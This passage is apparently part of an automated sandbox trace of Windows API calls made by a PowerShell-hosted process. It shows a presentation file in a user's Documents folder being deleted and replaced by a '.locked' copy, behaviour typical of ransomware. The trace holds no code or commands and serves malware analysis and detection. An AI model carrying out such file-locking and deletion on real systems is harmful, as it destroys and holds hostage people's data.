lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents", lpFilePart=0x0) returned 0x1f [0130.221] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\-MGF" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\-mgf")) returned 0x10 [0130.221] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\-MGF" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\-mgf")) returned 0x10 [0130.222] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\-MGF", nBufferLength=0x105, lpBuffer=0x99ade48, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\-MGF", lpFilePart=0x0) returned 0x24 [0130.222] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\-MGF\\.", nBufferLength=0x105, lpBuffer=0x99adde0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\-MGF", lpFilePart=0x0) returned 0x24 [0130.222] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\-MGF\\yj0sH30hJk0LAYu.ppt" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\-mgf\\yj0sh30hjk0layu.ppt")) returned 0x20 [0130.222] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\-MGF\\yj0sH30hJk0LAYu.ppt", nBufferLength=0x105, lpBuffer=0x99ade4c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\-MGF\\yj0sH30hJk0LAYu.ppt", lpFilePart=0x0) returned 0x38 [0130.222] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\-MGF\\yj0sH30hJk0LAYu.ppt", nBufferLength=0x105, lpBuffer=0x99adde0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\-MGF\\yj0sH30hJk0LAYu.ppt", lpFilePart=0x0) returned 0x38 [0130.223] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\-MGF\\yj0sH30hJk0LAYu.ppt", nBufferLength=0x105, lpBuffer=0x99adf88, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\-MGF\\yj0sH30hJk0LAYu.ppt", lpFilePart=0x0) returned 0x38 [0130.223] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae448) returned 1 [0130.223] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\-MGF\\yj0sH30hJk0LAYu.ppt", nBufferLength=0x105, lpBuffer=0x99adf50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\-MGF\\yj0sH30hJk0LAYu.ppt", lpFilePart=0x0) returned 0x38 [0130.223] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\-MGF\\yj0sH30hJk0LAYu.ppt\\", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\-MGF\\yj0sH30hJk0LAYu.ppt\\", lpFilePart=0x0) returned 0x39 [0130.224] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\-MGF\\yj0sH30hJk0LAYu.ppt\\*", lpFindFileData=0x99ae170 | out: lpFindFileData=0x99ae170) returned 0xffffffff [0130.224] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae40c) returned 1 [0130.224] CoTaskMemAlloc (cb=0x404) returned 0x8ebb8c8 [0130.224] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x10b, dwLanguageId=0x0, lpBuffer=0x8ebb8c8, nSize=0x200, Arguments=0x0 | out: lpBuffer="The directory name is invalid.\r\n") returned 0x20 [0130.224] CoTaskMemFree (pv=0x8ebb8c8) [0130.225] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\-MGF\\yj0sH30hJk0LAYu.ppt" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\-mgf\\yj0sh30hjk0layu.ppt")) returned 0x20 [0130.225] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\-MGF\\yj0sH30hJk0LAYu.ppt", nBufferLength=0x105, lpBuffer=0x99adf14, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\-MGF\\yj0sH30hJk0LAYu.ppt", lpFilePart=0x0) returned 0x38 [0130.225] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\-MGF\\yj0sH30hJk0LAYu.ppt", nBufferLength=0x105, lpBuffer=0x99ade90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\-MGF\\yj0sH30hJk0LAYu.ppt", lpFilePart=0x0) returned 0x38 [0130.225] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae36c) returned 1 [0130.225] GetFileAttributesExW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\-MGF\\yj0sH30hJk0LAYu.ppt" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\-mgf\\yj0sh30hjk0layu.ppt"), fInfoLevelId=0x0, lpFileInformation=0x6a59adc | out: lpFileInformation=0x6a59adc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4cb87a0, ftCreationTime.dwHighDateTime=0x1d49fa1, ftLastAccessTime.dwLowDateTime=0x826c7120, ftLastAccessTime.dwHighDateTime=0x1d4a626, ftLastWriteTime.dwLowDateTime=0x826c7120, ftLastWriteTime.dwHighDateTime=0x1d4a626, nFileSizeHigh=0x0, nFileSizeLow=0x17bdb)) returned 1 [0130.226] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae368) returned 1 [0130.226] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\-MGF\\yj0sH30hJk0LAYu.ppt" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\-mgf\\yj0sh30hjk0layu.ppt")) returned 1 [0130.228] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae628*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae628*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xfc, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.228] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae2c4, nSize=0x100 | out: lpBuffer="椀й") returned 0x0 [0130.229] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae69c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae69c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xfd, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.229] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae5fc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae5fc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xfc, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.229] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xfd, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xfd, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.230] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\-MGF\\yj0sH30hJk0LAYu.ppt.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\-mgf\\yj0sh30hjk0layu.ppt.locked")) returned 0x20 [0130.230] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\-MGF\\yj0sH30hJk0LAYu.ppt.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\-mgf\\yj0sh30hjk0layu.ppt.locked")) returned 0x20 [0130.231] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\-MGF\\yj0sH30hJk0LAYu.ppt.locked", nBufferLength=0x105, lpBuffer=0x99adf7c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\-MGF\\yj0sH30hJk0LAYu.ppt.locked", lpFilePart=0x0) returned 0x3f [0130.231] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\-MGF\\yj0sH30hJk0LAYu.ppt.locked", nBufferLength=0x105, lpBuffer=0x99adf40, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\-MGF\\yj0sH30hJk0LAYu.ppt.locked", lpFilePart=0x0) returned 0x3f [0130.231] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae628*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae628*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xfd, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.232] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\-MGF\\yj0sH30hJk0LAYu.ppt", nBufferLength=0x105, lpBuffer=0x99ae1bc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\-MGF\\yj0sH30hJk0LAYu.ppt", lpFilePart=0x0) returned 0x38 [0130.232] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae2c4, nSize=0x100 | out: lpBuffer="") returned 0x0 [0130.232] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae69c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae69c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xfe, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.232] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae5fc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae5fc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xfd, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.232] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xfe, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xfe, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.234] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae628*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae628*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xfe, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.235] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae2c4, nSize=0x100 | out: lpBuffer="") returned 0x0 [0130.235] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae69c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae69c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xff, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.236] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae5fc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae5fc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xfe, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.236] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xff, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xff, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.240] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae628*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae628*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xff, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.241] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae2c4, nSize=0x100 | out: lpBuffer="") returned 0x0 [0130.241] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae69c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae69c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x0, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.241] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae5fc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae5fc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xff, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.241] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x0, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x0, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.243] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae628*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae628*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x0, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.244] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae2c4, nSize=0x100 | out: lpBuffer="") returned 0x0 [0130.244] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae69c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae69c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x1, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.244] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae5fc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae5fc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x0, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.244] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x1, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x1, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.247] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae628*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae628*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x1, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.248] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae2c4, nSize=0x100 | out: lpBuffer="") returned 0x0 [0130.248] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae69c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae69c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x2, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.248] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae5fc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae5fc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x1, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.248] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x2, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x2, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.250] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae628*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae628*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x2, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.253] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x99adc40, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0130.254] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99addb8) returned 1 [0130.254] GetFileAttributesExW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\-MGF\\yj0sH30hJk0LAYu.ppt.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\-mgf\\yj0sh30hjk0layu.ppt.locked"), fInfoLevelId=0x0, lpFileInformation=0x6a69d78 | out: lpFileInformation=0x6a69d78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x10d513f9, ftCreationTime.dwHighDateTime=0x1d4bf19, ftLastAccessTime.dwLowDateTime=0x10d513f9, ftLastAccessTime.dwHighDateTime=0x1d4bf19, ftLastWriteTime.dwLowDateTime=0x10d77620, ftLastWriteTime.dwHighDateTime=0x1d4bf19, nFileSizeHigh=0x0, nFileSizeLow=0x17bf4)) returned 1 [0130.254] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99addb4) returned 1 [0130.254] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\-MGF\\yj0sH30hJk0LAYu.ppt.locked", nBufferLength=0x105, lpBuffer=0x99ad894, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\-MGF\\yj0sH30hJk0LAYu.ppt.locked", lpFilePart=0x0) returned 0x3f [0130.255] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\-MGF\\yj0sH30hJk0LAYu.ppt.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\-mgf\\yj0sh30hjk0layu.ppt.locked"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x874 [0130.255] GetFileInformationByHandle (in: hFile=0x874, lpFileInformation=0x99ade00 | out: lpFileInformation=0x99ade00) returned 1 [0130.255] CloseHandle (hObject=0x874) returned 1 [0130.257] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae470 | out: lpConsoleScreenBufferInfo=0x99ae470) returned 1 [0130.257] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae478 | out: lpMode=0x99ae478) returned 1 [0130.258] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68b591c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae470, lpReserved=0x0 | out: lpBuffer=0x68b591c*, lpNumberOfCharsWritten=0x99ae470*=0x2) returned 1 [0130.264] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae414 | out: lpConsoleScreenBufferInfo=0x99ae414) returned 1 [0130.265] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae468 | out: lpConsoleScreenBufferInfo=0x99ae468) returned 1 [0130.265] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae470 | out: lpMode=0x99ae470) returned 1 [0130.266] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68b591c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae468, lpReserved=0x0 | out: lpBuffer=0x68b591c*, lpNumberOfCharsWritten=0x99ae468*=0x2) returned 1 [0130.271] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae478 | out: lpConsoleScreenBufferInfo=0x99ae478) returned 1 [0130.271] GetConsoleOutputCP () returned 0x1b5 [0130.272] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae1fc, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae1fc) returned 0 [0130.272] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae2c8 | out: lpConsoleScreenBufferInfo=0x99ae2c8) returned 1 [0130.272] GetConsoleOutputCP () returned 0x1b5 [0130.273] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae264, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae264) returned 0 [0130.273] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae2d0 | out: lpMode=0x99ae2d0) returned 1 [0130.273] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x6a91d38*, nNumberOfCharsToWrite=0x33, lpNumberOfCharsWritten=0x99ae2c8, lpReserved=0x0 | out: lpBuffer=0x6a91d38*, lpNumberOfCharsWritten=0x99ae2c8*=0x33) returned 1 [0130.274] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae2d0 | out: lpMode=0x99ae2d0) returned 1 [0130.274] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68b591c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae2c8, lpReserved=0x0 | out: lpBuffer=0x68b591c*, lpNumberOfCharsWritten=0x99ae2c8*=0x2) returned 1 [0130.278] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae3d0 | out: lpConsoleScreenBufferInfo=0x99ae3d0) returned 1 [0130.279] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae3d8 | out: lpMode=0x99ae3d8) returned 1 [0130.279] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68b591c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae3d0, lpReserved=0x0 | out: lpBuffer=0x68b591c*, lpNumberOfCharsWritten=0x99ae3d0*=0x2) returned 1 [0130.283] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae468 | out: lpConsoleScreenBufferInfo=0x99ae468) returned 1 [0130.284] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae470 | out: lpMode=0x99ae470) returned 1 [0130.284] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68b591c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae468, lpReserved=0x0 | out: lpBuffer=0x68b591c*, lpNumberOfCharsWritten=0x99ae468*=0x2) returned 1 [0130.292] GetConsoleOutputCP () returned 0x1b5 [0130.292] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae288, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae288) returned 0 [0130.292] GetConsoleOutputCP () returned 0x1b5 [0130.293] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae320, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae320) returned 0 [0130.293] GetConsoleOutputCP () returned 0x1b5 [0130.293] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae2fc, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae2fc) returned 0 [0130.293] GetConsoleOutputCP () returned 0x1b5 [0130.294] TranslateCharsetInfo (in: 